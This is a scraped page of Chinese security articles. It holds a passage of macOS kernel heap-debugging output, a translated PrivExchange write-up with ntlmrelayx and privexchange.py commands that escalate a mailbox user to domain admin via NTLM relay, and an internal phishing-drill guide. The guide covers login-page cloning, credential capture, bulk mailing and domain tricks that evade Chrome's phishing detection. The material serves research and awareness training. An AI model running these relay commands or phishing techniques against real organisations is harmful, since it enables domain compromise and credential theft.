frame #3: 0xffffff8015bec040 kernel`pmap_enter_options [inlined] __QUEUE_ELT_VALIDATE + 81 at queue.h:244 [opt]
frame #4: 0xffffff8015bebfef kernel`pmap_enter_options [inlined] insque at queue.h:347 [opt]
frame #5: 0xffffff8015bebfef kernel`pmap_enter_options [inlined] pv_hash_add + 32 at pmap_internal.h:544 [opt]
frame #6: 0xffffff8015bebfcf kernel`pmap_enter_options(pmap=<unavailable>, vaddr=<unavailable>, pn=<unavailable>, prot=<unavailable>, fault_type=<unavailable>, flags=<unavailable>, wired=<unavailable>, options=<unavailable>, arg=<unavailable>) + 5103 at pmap_x86_common.c:926 [opt]
frame #7: 0xffffff8015b6fb41 kernel`vm_fault_enter(m=0xffffff801c1c3c00, pmap=<unavailable>, vaddr=140736734584832, prot=<unavailable>, caller_prot=<unavailable>, wired=0, change_wiring=<unavailable>, no_cache=0, cs_bypass=<unavailable>, user_tag=1962753648, pmap_options=<unavailable>, need_retry=<unavailable>, type_of_fault=<unavailable>) + 4481 at vm_fault.c:3292 [opt]
frame #8: 0xffffff8015b71405 kernel`vm_fault_internal(map=<unavailable>, vaddr=<unavailable>, caller_prot=<unavailable>, change_wiring=0, interruptible=2, caller_pmap=0x0000000000000000, caller_pmap_addr=0, physpage_p=<unavailable>) + 4421 at vm_fault.c:4086 [opt]
frame #9: 0xffffff8015c069fc kernel`user_trap [inlined] vm_fault(map=<unavailable>, vaddr=<unavailable>, fault_type=<unavailable>, change_wiring=0, interruptible=2, caller_pmap=<unavailable>, caller_pmap_addr=0) + 652 at vm_fault.c:3397 [opt]
frame #10: 0xffffff8015c069d8 kernel`user_trap(saved_state=0xffffff801ff11060) + 616 at trap.c:1120 [opt]
frame #11: 0xffffff8015aa5655 kernel`hndl_alltraps + 229
当查看调用栈时，差异是很明显的。使用了 zlog 时，你可以看到调用栈被分配给了 zalloc，但未使用 zlog 时就看不到。所以如果你要分析 1day
漏洞的堆腐败时，了解 zone 的概念并使用 zlog 可以进行更好的调试。
**更多内容**
了解 bug 很重要，但调试也很重要。做调试时我会使用一些简单的命令。
(lldb) bt
* thread #2: tid = 0x1650, 0xffffff801200bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513, name = '0xffffff801a0eee18', queue = '0x0', stop reason = signal SIGSTOP
* frame #0: 0xffffff801200bb4e kernel`Debugger [inlined] hw_atomic_sub(delt=1) at locks.c:1513 [opt]
frame #1: 0xffffff801200bb4e kernel`Debugger(message=<unavailable>) + 910 at model_dep.c:1025 [opt]
frame #2: 0xffffff8011ef368c kernel`panic(str=""a freed zone element has been modified in zone %s: expected %p but found %p, bits changed %p, at offset %d of %d in element %p, cookies %p %p"@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3789.21.4/osfmk/kern/zalloc.c:651") + 236 at debug.c:458 [opt]
frame #3: 0xffffff8011f3f5c0 kernel`backup_ptr_mismatch_panic [inlined] zone_element_was_modified_panic(offset=0) + 800 at zalloc.c:642 [opt]
frame #4: 0xffffff8011f3f559 kernel`backup_ptr_mismatch_panic(zone=<unavailable>, element=<unavailable>, primary=4702111234474983745, backup=<unavailable>) + 697 at zalloc.c:710 [opt]
frame #5: 0xffffff8011f3e739 kernel`try_alloc_from_zone(zone=<unavailable>, check_poison=<unavailable>) + 521 at zalloc.c:832 [opt]
frame #6: 0xffffff8011f3d174 kernel`zalloc_internal(zone=<unavailable>, canblock=1, nopagewait=0) + 484 at zalloc.c:2284 [opt]
frame #7: 0xffffff8011ed5248 kernel`ipc_kmsg_alloc(msg_and_trailer_size=4352) + 248 at ipc_kmsg.c:929 [opt]
frame #8: 0xffffff8011ef832d kernel`ipc_kobject_server(request=<unavailable>, option=<unavailable>) + 141 at ipc_kobject.c:299 [opt]
frame #9: 0xffffff8011ed5f61 kernel`ipc_kmsg_send(kmsg=<unavailable>, option=<unavailable>, send_timeout=<unavailable>) + 225 at ipc_kmsg.c:1826 [opt]
frame #10: 0xffffff8011ee9957 kernel`mach_msg_overwrite_trap(args=<unavailable>) + 327 at mach_msg.c:556 [opt]
frame #11: 0xffffff8011ff26ae kernel`mach_call_munger64(state=0xffffff8019fed920) + 430 at bsd_i386.c:562 [opt]
frame #12: 0xffffff8011ea5f66 kernel`hndl_mach_scall64 + 22
bt 命令是 BackTrace 的缩写，它用于将线程堆栈信息打印出来。你可以选择跳转到单个 frame 并查看其局部变量。
(lldb) frame select 5
frame #5: 0xffffff8011f3e739 kernel`try_alloc_from_zone(zone=<unavailable>, check_poison=<unavailable>) + 521 at zalloc.c:832 [opt]
如果你使用 frame select 命令选择了一个 frame，则会把当前 frame 的信息打印出来，并且 rip 也会变为该 frame
的地址。如下所示。
(lldb) register read
General Purpose Registers:
rbx = 0xffffff801f977000
rbp = 0xffffff8872cabc50
rsp = 0xffffff8872cabc10
r12 = 0x7e415085550ee3c7
r13 = 0x4141414141414141
r14 = 0xffffff8017cd70a0
r15 = 0x4141414141414141
rip = 0xffffff8011f3e739 kernel`try_alloc_from_zone + 521 at zalloc.c:832
你可以看到 rip 确实在我们选择的 frame 中，并且可以看到该函数局部变量的值。
(lldb) frame var
(zone_t) zone = <variable not available>
(boolean_t *) check_poison = <variable not available>
(zone_page_metadata *) page_meta = 0xffffff8017cd70a0
(vm_offset_t) element = 18446743524483756032
(vm_offset_t *) primary = 0xffffff801f977000
(vm_offset_t) next_element_primary = 4702111234474983745
(vm_offset_t) next_element = 9097641255853024199
(vm_offset_t) next_element_backup = 4702111234474983745
(vm_offset_t *) backup = <no location, value may have been optimized out>
OSX 中 Page 的第一部分被称为元数据（Meta data），它包含了有关该 zone 的大量信息，如堆的元数据。
对于 iOS 10，有如下元数据：
**zindex：** zone_array 中的索引
**Page_count：** 分配的页面大小
**free_count：** 页面中 free element 数量
**freelist_offset：** 页面中第一个 free element 的地址
下面我们看一下名为 primary 的变量。
(lldb) memory read 0xffffff801f977000
0xffffff801f977000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xffffff801f977010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
如果 PoC 被正确地触发，那么正常情况下会显示一串 A。由于分配给 zone 的元素在 memset 中以 A 填充，因此结果如上所示。
以这种方式触发 PoC 后，如果存在你所需的 frame，则可以通过选择该 frame 并检查局部变量的方式进行调试。请注意 frame
相关的命令通常是很有用的。
我们可以查看在 Mac 上运行的所有任务的基址，内核任务也在其中。可以看到内核任务名为 kernel_task，你可以使用下面的命令将其输出。
(lldb) showalltasks
task vm_map ipc_space #acts flags pid process io_policy wq_state command
0xffffff80185b3aa0 0xffffff8014d1e6e8 0xffffff80180ab800 134 0 0xffffff80126ba360 -1 -1 -1 kernel_task
0xffffff80185b3000 0xffffff8018db0838 0xffffff80180ab840 6 1 0xffffff8018d81128 -1 -1 -1 launchd
0xffffff801961c000 0xffffff8019603268 0xffffff80195c2740 4 D 34 0xffffff8018d80cb0 -1 -1 -1 UserEventAgent
0xffffff801961caa0 0xffffff8019603838 0xffffff80195c2980 2 D 36 0xffffff8018d80838 TQ -1 -1 -1 uninstalld
0xffffff8019634aa0 0xffffff8019603458 0xffffff80195c29c0 2 D 37 0xffffff8018d81e90 -1 -1 -1 kextd &n | 社区文章 |
# 船新版本的Exchange Server提权漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 dirkjanm，文章来源：dirkjanm.io
原文地址：<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>
译文仅供参考，具体内容表达以及含义原文为准。
在多数使用Active
Directory和Exchange的组织中，Exchange服务器通常具有很高的权限，Exchange服务器上的管理员可以升级为域管理员。最近我看了一份来自于ZDI的文章(CVE-2018-8581的技术细节及其利用方式)，其中详细介绍了一种通过HTTP使用NTLM向攻击者进行交换身份验证的方法。但我认为漏洞的危害不止于此，我们还可以将其与NTLM中继攻击相结合，使得用户可以低权限(任意拥有邮箱的用户)提权到域管理员。在默认情况下，我见过使用Exchange的组织有90%都会受到该攻击的威胁，并且在我写下这篇文章的时候还没有相应的patch，暂时只能通过一些缓解措施来防止此权限升级。本文详细介绍了攻击方法，一些更具技术性的细节和相应的缓解措施，以及POC。我将本次攻击称为”PrivExchange”
## 通过新方式组合已知漏洞
本文将一些已知的漏洞和已知的协议弱点结合成一个新的攻击方法。一共有3个部分组合起来，可以从低权限提权(任意拥有邮箱的用户)到域管理员访问权限：
1. 默认情况下，Exchange Server具有过高的权限
2. NTLM身份验证容易受到中继攻击
3. Exchange具有一项功能，可以使用Exchange服务器的计算机帐户对攻击者进行身份验证
## 一、交换和高权限
此处的主要漏洞是Exchange在Active Directory域中具有高权限。该`Exchange Windows
Permissions`组可以以`WriteDacl`的权限来访问Active
Directory中的Domain对象，该对象允许该组的任何成员修改域权限，其中包括执行DCSync操作的权限。具有此权限的用户或计算机可以执行域控制器通常用于复制的同步操作，这允许攻击者同步Active
Directory中用户的所有哈希密码。一些研究人员已经介绍了这一点（参见本文末尾的参考文献部分），我去年与我的Fox-IT同事Rindert一起写过这篇文章。在那篇文章中，我还发布了对ntlmrelayx的更新([https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py)，](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py\)%EF%BC%8C)
这增加了在NTLM中继时执行这些基于访问控制列表(ACL)的攻击的可能性。
## NTLM中继攻击
NTLM中继攻击并不是一种新的攻击手法。以前，我们主要关注的是通过SMB转发NTLM身份验证，以此来在其他主机上执行代码。但遗憾的是，大多数公司网络并未启用SMB签名，因此我们不能通过该方法进行攻击。但我们可以试试其他协议，其他协议也容易受到中继攻击。在我看来，最有意思的协议是LDAP，它可以用来读取和修改(Active)目录中的对象。你可以访问该链接复习一下NTLM中继攻击([https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/)。](https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/\)%E3%80%82)
简易的攻击流程是，在没有进行相关的配置来阻止攻击的情况下，我们可以通过Windows(或自动地)将攻击者的计算机连接到网络中的其他计算机时执行(自动)身份验证，如下图所示：
当身份验证进行到LDAP这一步时，可以修改目录中的对象来授予攻击者权限，包括DCSync操作所需的权限。
因此，如果我们可以让Exchange服务器通过NTLM身份验证向我们进行身份验证，我们就可以执行ACL攻击。注意，仅当受害者通过HTTP而不是通过SMB对我们进行身份验证时，才能中继到LDAP。（将在技术详解一节中详细阐述）
## 让Exchange进行身份验证
到目前为止，唯一缺少的部分是让Exchange对我们进行身份验证的简单方法。ZDI研究员发现可以通过Exchange
PushSubscription功能使Exchange通过HTTP对任意URL进行身份验证。在他们的文章中(<https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>)
他们使用此漏洞将NTLM身份验证中继回Exchange(这称为反射攻击)并冒充其他用户。如果我们将此与默认情况下Exchange具有的高权限相结合并执行中继攻击而不是反射攻击，我们可以使用这些权限为自己授予DCSync权限。推送通知服务有一个选项，即每隔X分钟发送一条消息(攻击者可以指定X)，即使没有发生任何事件，即使收件箱中没有新来信，也可以确保Exchange连接到我们。
## 执行权限提升攻击
下面显示了上述攻击的示意图，显示了为升级权限而执行的步骤：
我们需要两个工具来执行攻击，`privexchange.py`([https://github.com/dirkjanm/privexchange/)和`ntlmrelayx`(https://github.com/SecureAuthCorp/impacket/)。](https://github.com/dirkjanm/privexchange/\)%E5%92%8C%60ntlmrelayx%60\(https://github.com/SecureAuthCorp/impacket/\)%E3%80%82)
以域控制器上的LDAP作为目标，以中继模式启动ntlmrelayx，对攻击者所控制的ntu用户进行提权操作：
ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu
现在我们运行privexchange.py脚本：
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.
当与没有邮箱的用户一起运行时，我们将收到上述错误。我们再次尝试与有邮箱的用户：
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful
一分钟后(我们所设定的值)，我们看到ntlmrelayx的连接，它为我们的用户提供DCSync权限：
我们使用secretsdump确认DCSync权限已到位：
通过获取到的所有Active
Directory用户的哈希密码，攻击者可以创建冒充任何用户的tickets，或使用任何用户密码哈希通过任何接受域中的NTLM或Kerberos的身份验证。
## 技术详解：中继到LDAP和签名
前文提到过，我们无法通过SMB将认证凭证中转到LDAP，因此我们无法使用最近公布的SpoolService
RPC滥用(<https://github.com/leechristensen/SpoolSample/>) 技术来进行攻击（因为SpoolService
RPC使用的是基于SMB的认证过程）。这方面的问题一直在出现，我将会详细解释为什么会这样。如果你不想深入了解NTLM身份验证，请跳过本节。
SMB和HTTP中的NTLM身份验证之间的区别在于默认协商的标志。关键点在于`NTLMSSP_NEGOTIATE_SIGN`
flag（0x00000010），关于这个标志，可查看该网站([https://msdn.microsoft.com/en-us/library/cc236650.aspx)。](https://msdn.microsoft.com/en-us/library/cc236650.aspx\)%E3%80%82)
默认情况下，HTTP上的NTLM身份验证不会设置此标志，但如果在SMB上使用此标志，则默认情况下将设置此标志：
当我们将此数据包中继到LDAP时，将成功完成身份验证，但LDAP期望使用从密码派生的会话密钥（中继攻击中没有该密码，因此也不会有该密钥）对所有消息进行签名。因此，LDAP将忽略没有签名的任何消息，从而导致我们的攻击失败。是否可能在传输过程中修改这些标志，这样就不会进行签名协商。这在现在的Windows中不起作用，因为它们默认包含MIC(消息完整性检查)，这是基于全部的3个NTLM消息的签名，因此任何消息中的任何修改都会使其失效。
我们可以删除MIC吗？可以，因为它不在NTLM消息的受保护部分。然而，在NTLM身份验证（仅限NTLMv2）中有一种保护机制可以防止这种情况发生：在NTLMv2响应包中，它使用受害者的密码签名，包含一个`AV_PAIR`结构`MsvAvFlags`。当此字段值为0x0002时，表示客户端发送的`type
3`消息包含MIC字段。
修改NTLMv2响应会使身份验证无效，因此我们也无法删除此标志字段。该标志字段表示在认证过程中计算并包含MIC，这将使目标服务器对MIC进行验证，进而验证所有3条消息在传输过程中是否被修改，因此我们无法删除签名标志。
我认为这种情况只适用于Microsoft实现的NTLM。实现NTLM的自定义设备的安全性很可能不会到添加MIC和`AV_PAIR`标志的级别，这让它们容易存在标志被修改的威胁，从而使SMB->
LDAP中继成为可能。这种情况的一个例子是NTLM 的Java实现，它可以在传输过程中进行修改以绕过安全措施。
## 在没有任何凭据的情况下执行攻击
在上一节中，我们使用受损凭据来执行攻击的第一步。但如果攻击者只能执行网络攻击却没有任何凭据，我们依然可以触发Exchange进行身份验证。
如果我们执行SMB到HTTP（或HTTP到HTTP）中继攻击（使用LLMNR / NBNS /
mitm6欺骗），我们可以将同一网段中用户的身份验证中继到Exchange
EWS并使用其凭据触发回调。我已经编写好一个小攻击脚本`httpattack.py`，通过它我们可以使用ntlmrelayx从网络角度执行攻击而无需任何凭据(需要在代码中修改攻击目标host)：
## 缓解措施
此攻击取决于各种组件的工作，适用于此次攻击的最重要的缓解措施是：
* 删除Exchange对Domain对象所具有的不必要的高权限（请参考下面的链接）。
* 启用LDAP签名并启用LDAP通道绑定([https://support.microsoft.com/en-us/help/4034879/how-to-add-the-ldapenforcechannelbinding-registry-entry)，](https://support.microsoft.com/en-us/help/4034879/how-to-add-the-ldapenforcechannelbinding-registry-entry\)%EF%BC%8C) 以防止LDAP中继攻击和LDAPS中继攻击
* 阻止Exchange服务器与任意端口上的工作站建立连接。
* 在IIS中的Exchange端点上启用身份验证扩展保护机制(<https://msdn.microsoft.com/en-us/library/dd767318%28v=vs.90%29.aspx>) （但不要在Exchange后端使用，这将影响Exchange的正常使用）。该机制可以验证NTLM身份验证中的通道绑定参数，该参数将NTLM身份验证与TLS连接联系起来，并阻止攻击者向Exchange Web服务发起中继攻击。
* 删除注册表项，这样可以将中继返回到Exchange服务器，如微软对于CVE-2018-8518的防御方法([https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8581)中所述。](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8581\)%E4%B8%AD%E6%89%80%E8%BF%B0%E3%80%82)
* 在Exchange服务器上启用SMB签名（最好域中的所有其他服务器和工作站都启用该机制），以防止对SMB的跨协议中继攻击。
## 相关工具&受影响的版本
POC:<https://github.com/dirkjanm/PrivExchange>
已在以下Exchange/Windows版本上进行了测试：
* Exchange 2013 (CU21)，Server 2012R2，中继至Server 2016 DC（所有产品已打补丁）
* Exchange 2016 (CU11)，Server 2016，中继至Server 2019 DC（所有产品已打补丁）
上述两个Exchange服务器都是使用共享权限模式（默认设置）安装的，但根据这篇文章([https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md)，](https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md\)%EF%BC%8C)
RBAC权限分离部署也很容易受到攻击（但我没有对此进行过测试）。
*
## 参考文献
### 缓解措施
* 使用powershell删除Exchange危险权限(<https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1>)
* 识别和删除危险的Exchange权限(<https://www.blackhat.com/docs/webcast/04262018-Webcast-Toxic-Waste-Removal-by-Andy-Robbins.pdf>)
* ACL提权研究(<https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf>)
### NTLM中继/签名机制
* NTLM反射攻击的研究进展(<https://github.com/SecureAuthCorp/impacket/issues/451>)
* NTLM SMB到LDAP的中继攻击(<https://github.com/SecureAuthCorp/impacket/pull/500>)
* 处理中继凭证(<https://www.secureauth.com/blog/playing-relayed-credentials>)
### 其他参考
* MS-NLMP(<https://msdn.microsoft.com/en-us/library/cc236621.aspx>)
* ZDI关于Exchange该漏洞的详细分析(<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>)
* 如何通过中心主机远程中继(<https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/>) | 社区文章 |
# 演练前准备工作
## 钓鱼演练需求背景
目前肉眼可见的甲方两大安全工作KPI，一类是政策合规数据合规，第二类是应对各种大型攻防演练检测。在攻防演练中大家常用的方法就是钓鱼（懂的都懂）。针对这个背景下，甲方钓鱼演练就顺理成章了。随着大型攻防演练常态化的实施，我们认为演练+安全意识培训相结合的方式是比较理想的。
下文就是钓鱼演练中遇到的问题与思考，结合大师傅们的开源软件整理一篇”利用开源软件进行甲方钓鱼演练“，这里着重写甲方是因为站在甲方的角度去实施（非攻击场景），着重写的是甲方的工作流程，开源工具选型的经验，希望能够帮助有类似需求的小伙伴快速按照本文流程部署，尽量让大家看文即可快速的搭建一套钓鱼演练的实施方案。
## 协同资源
### 人的资源
领导沟通确认 （申请免死金牌），内容大体是介绍钓鱼演练的收益，实施过程，结果处置（演练后的培训）征求意见。
### 数据资源
数据资源协调，立项后内部协调数据资源这里指参与演练人员部门的邮箱地址，定义好输出数据的格式，必要以邮件的形式沟通。并强调保密性。
### 合作共赢
演练最终目的是安全意识摸底与培训，公司内部学习平台（HR部门）协商组织公司或者部门级别的安全意识培训课程，方便在钓鱼演练后有连贯性的学习，加深印象。
## 规划演练
### 钓鱼人员的选择范围
1. 确认演练人员范围。筛选主要考虑以下几个方面，按职能分，产研团队、数据团队、客服、销售团队。甲方要深入了解演练的受众群体，比如手握大量服务器、产品后台权限的产研团队。再比如手里有大量订单或用户信息的客服团队。 不同的团队使用的剧本不同，他们的工作系统环境也不同，是否使用邮件作为沟通软件，邮件回复收发快与慢等，是否有一些特殊的聊天软件来对外沟通等。 可以在准备剧本前推演出钓鱼流程来设计规划人员范围。
2. 排除非必要参演人员。这里要注意要去除一些敏感人员，如一些级别比较高的领导或者财务部门等敏感部门，毕竟如果领导也被钓鱼就会很尴尬。
### 钓鱼的方式选择
1. 凭证类钓鱼方式选择的初衷
* 通过钓鱼获取账号凭证。我们要哪些登录权限，钓到的账号密码外网是否可用？模拟外部攻击场景，如果克隆页面外部不能访问就容易被业务挑战。确保获取内部登录页面信息的合理性，证明通过钓鱼得到的账号密码可以被进一步利用，证明危害性。 甲方优势是知道资产中的账号关联哪些敏感重要的系统和信息，账号是否被二次认证导致无法使用等各种内部信息。这里也有部分好处推动相关的账号平台增加多因子验证。
* 甲方的优势就是知道自己公司的习惯和使用细节，体现在，公司用的邮箱系统，公司员工的个人电脑配置是什么样的操作系统如研发是mac，其他业务线是windows，具体到系统版本，杀软等特性。
* 检测业务同事是否有意识将钓鱼邮件事件通过正确的渠道反馈给安全部门。
2. 木马钓鱼方式与凭证类钓鱼区别
* 木马钓鱼的初衷是获取个人电脑信息和建立据点横向拓展，此时就将的演练的初衷变成与办公网的杀毒软件、流量审计、防守方的发现处置能力对抗，非特殊情况不采取该方式演练。
* 木马钓鱼更接近于红蓝对抗场景，对用户的侵入性较大，不适宜大面积演练使用，控制不好会容易导致业务的反感。
* 本次演练选择获取账号凭证，批量发送邮件方式钓鱼。
# 实施钓鱼阶段
## 实施过程需要的3个步骤
1. 话术剧本
2. 克隆页面制作与部署
3. 批量发送邮件
### 话术与剧本 ，人，事，物，时间
1. 第一原则禁止损害国家个人利益，内容不可以是政治、疫情、舆情、绯闻相关的钓鱼内容。
2. 角色扮演者 ，谁发起的一项活动，这个角色有一定的合理性。举例HR、行政、企业IT，几乎会和每一名员工有工作交集。
3. 事件合理性，发起这个邮件的互动一定遵循看似合理性，习惯性。合理性就是我因为看到邮件，所以我要点击这个链接参活动。这里就要充分利用甲方的优势做信息收集加以转换。如常见的公司通知是什么样的？对比外部攻击就要更关注邮件泄露或者是发送来往邮件观察邮件习惯了。
4. 驱动受害者的动作，利诱或者威逼来使其来执行你想要让其做的事情，如点击一个页面，跳转到登录页，输入账号密码。
5. 时间因素， 给人制造焦虑和压迫感的共性就是时间，所以在时间因素前提下人会失去一些识别错误的能力。
6. 举个栗子，参考上述模块化制作一个剧本，HR部门（HR角色）征集回家过节礼品选择（合理事件+合理时间），在xxx日xxx时前完成（时间，制造焦虑紧急程度）征及问卷调查，前100名完成者获得神秘小礼物一份（物品奖励）。
### 制作钓鱼页面
#### 参考使用的开源软件 （鸣谢 orz）
1. SiteCopy 是clone页面的工具
<https://github.com/Threezh1/SiteCopy> ，在本次演练中主要充当做fake页面使用。
2. Pricking 是一个自动化部署水坑和网页钓鱼的工具
<https://github.com/Rvn0xsy/Pricking>
，这个软件用来做nginx代理，能够记录受害者的账号密码。（有些场景可以不用克隆登录框，步骤1），本次演练中利用该功能做账密记录，没有直接当克隆原因是页面是来自内网页面无法直接使用。
3. henggeFish 是邮件批量发送工具
<https://github.com/SkewwG/henggeFish>
，主要批量发送钓鱼邮件，程序中考虑了很多实战技巧，如考虑了绕过垃圾邮件的机制，利用云函数的ip源不固定，以及一个邮箱发送邮件的次数，支持批量发送，支持附件等。
#### 选择钓鱼页面的原则
1. 钓什么账号最有价值，我们要关心的点是得到该账号我们能做什么？登录邮箱？合同系统等，这一步骤是能够说明危害点也是真实攻防过程中的一个攻击链路。 最好的选择是具有外部sso 内部erp混用的这种登录页面作为钓鱼克隆页面首选。
2. 确定克隆页面以后要考虑，该页面在钓鱼话术的合理性。 如果钓鱼邮件账密，那么就剧本就是点击修改邮箱账号密码，所以克隆的页面应该是修改邮箱密码登录页面。 如果调用erp账号密码，那么就去把剧本到erp通用账号登录页面。 所以我们在选型登录页面的时候要考虑话术配合的合理性。
#### 克隆钓鱼页面制作
1. 克隆页面是内网服务，如果是内网页面就选择用”SiteCopy“去把页面克隆回来部署到你的国外VPS上，这里讲一下为什么使用国外VPS ，因为涉及到混淆的域名，所以这里也涉及到备案的问题。解决方案 ： 外网VPS + 外网域名。内网系统的登录页面会有一定的挑战，那就是会被问内网的登录是如何泄露的，这一点一定要考虑攻击场景充分且合理。
2. 克隆页面是外网服务，直接用 "Pricking" , 但是有些情况可能不会成功因为有一些复杂的登录页面还是不支持”Pricking"这种方式的。所以可以用“SiteCopy” 我们在本地部署一台VPS上，在“Pricking” hook登录的账密。
#### 页面部署
3. 克隆的的fake页面需要部署到VPS中，选择宝塔这里咱们只是从快速部署的角度触发，如果有安全问题的话自行搭建Nginx。
4. 使用宝塔签https非常方便，这样能够解决浏览器上的叹号提示问题。
5. 域名绑定绑定域名目录非常方便，有时候一个vps需要多个服务的时候就非常方便了。上传文件的web管理界面也非常方便。
6. 关于克隆页面服务（宝塔安全）权限最小原则，服务最少原则非必要不开启服务，0day什么的就不考虑了。 用的时候开启服务不用的时候关闭。
#### 跳转的trick
1. 合理的提示+跳转，Pricking是nginx代理原理，所以他会记录我们的实际流量中的请求数据，我们为了伪造的闭环，在用户点击提交以后， **也就是POST 或者 GET数据后** ，我们的fake静态页面是不支后端服务的，所以数据请求后一定是走error模块，这里设置一个alert弹框提示"xxx活动结束" 在跳转到公司的论坛或者wiki（不是Pricking不支持哦）这里利用场景不同。 我们仅仅用Pricking的hook用户名密码功能。
2. 前端js提示弹框修改alert的代码
window.alert = function(msg, callback) {
var div = document.createElement("div");
div.innerHTML = "<style type=\"text/css\">"
+ ".nbaMask { position: fixed; z-index: 1000; top: 0; right: 0; left: 0; bottom: 0; background: rgba(0, 0, 0, 0.5); } "
+ ".nbaMaskTransparent { position: fixed; z-index: 1000; top: 0; right: 0; left: 0; bottom: 0; } "
+ ".nbaDialog { position: fixed; z-index: 5000; width: 80%; max-width: 300px; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); background-color: #fff; text-align: center; border-radius: 8px; overflow: hidden; opacity: 1; color: white; }"
+ ".nbaDialog .nbaDialogHd { padding: .2rem .27rem .08rem .27rem; } "
+ ".nbaDialog .nbaDialogHd .nbaDialogTitle { font-size: 17px; font-weight: 400; } "
+ ".nbaDialog .nbaDialogBd { padding: 0 .27rem; font-size: 15px; line-height: 1.3; word-wrap: break-word; word-break: break-all; color: #000000; } "
+ ".nbaDialog .nbaDialogFt { position: relative; line-height: 48px; font-size: 17px; display: -webkit-box; display: -webkit-flex; display: flex; } "
+ ".nbaDialog .nbaDialogFt:after { content: \" \"; position: absolute; left: 0; top: 0; right: 0; height: 1px; border-top: 1px solid #e6e6e6; color: #e6e6e6; -webkit-transform-origin: 0 0; transform-origin: 0 0; -webkit-transform: scaleY(0.5); transform: scaleY(0.5); } "
+ ".nbaDialog .nbaDialogBtn { display: block; -webkit-box-flex: 1; -webkit-flex: 1; flex: 1; color: #09BB07; text-decoration: none; -webkit-tap-highlight-color: transparent; position: relative; margin-bottom: 0; } "
+ ".nbaDialog .nbaDialogBtn:after { content: \" \"; position: absolute; left: 0; top: 0; width: 1px; bottom: 0; border-left: 1px solid #e6e6e6; color: #e6e6e6; -webkit-transform-origin: 0 0; transform-origin: 0 0; -webkit-transform: scaleX(0.5); transform: scaleX(0.5); } "
+ ".nbaDialog a { text-decoration: none; -webkit-tap-highlight-color: transparent; }"
+ "</style>"
+ "<div id=\"dialogs2\" style=\"display: none\">"
+ "<div class=\"nbaMask\"></div>"
+ "<div class=\"nbaDialog\">"
+ " <div class=\"nbaDialogHd\">"
+ " <strong class=\"nbaDialogTitle\"></strong>"
+ " </div>"
+ " <div class=\"nbaDialogBd\" id=\"dialog_msg2\">弹窗内容，告知当前状态、信息和解决方法，描述文字尽量控制在三行内</div>"
+ " <div class=\"nbaDialogHd\">"
+ " <strong class=\"nbaDialogTitle\"></strong>"
+ " </div>"
+ " <div class=\"nbaDialogFt\">"
+ " <a href=\"https:\/\/www.zuoyebang.cc\" class=\"nbaDialogBtn nbaDialogBtnPrimary\" id=\"dialog_ok2\">确定</a>"
+ " </div></div></div>";
document.body.appendChild(div);
var dialogs2 = document.getElementById("dialogs2");
dialogs2.style.display = 'block';
var dialog_msg2 = document.getElementById("dialog_msg2");
dialog_msg2.innerHTML = msg;
// var dialog_cancel = document.getElementById("dialog_cancel");
// dialog_cancel.onclick = function() {
// dialogs2.style.display = 'none';
// };
var dialog_ok2 = document.getElementById("dialog_ok2");
dialog_ok2.onclick = function() {
dialogs2.style.display = 'none';
callback();
};
};
alert("很遗憾活动结束！")
1. 前端任意跳转的js代码
第一种：(跳转到b.html)
<script language="javascript" type="text/javascript">
window.location.href="b.html";
</script>
第二种：（返回上一页面）
<script language="javascript">
window.history.go(-1);
</script>
第三种：
<script language="javascript">
window.navigate("b.html");
</script>
第四种：
<script language="JavaScript">
self.location=’b.html’;
</script>
第五种：
<script language="javascript">
top.location=’b.html’;
</script>
#### 域名的准备
1. 国外的域名，原因绑定国外的vps快速解析，没有域名备案的烦恼。如果实战场景需要避免被快速溯源可以选择开启域名隐私保护。
2. 浏览器的对抗，chrome新版本的浏览器会有钓鱼页面风险提示，猜测是根据主域名的相似度来判断的，所以我们可以用子域名混淆的方式来绕过，当然文件名可以做的逼真一些，新版本chrome浏览器会识别钓鱼页面，如图
* login.0day.com/redict.html 被识别概率较高
* login.oday.com.sso1.xyz/redict.html 识别率低
* 223.21.233.22 ip方式暂时没有被浏览器识别风险问题
* chrome 新版本的防钓鱼功能详见 <a href=[https://blog.chromium.org/2021/07/m92-faster-and-more-efficient-phishing-detection.html>chrome](https://blog.chromium.org/2021/07/m92-faster-and-more-efficient-phishing-detection.html>chrome) M92 中更快、更高效的网络钓鱼检测</a> 所以在发送邮件前测试域名是否会被识别为钓鱼页面。
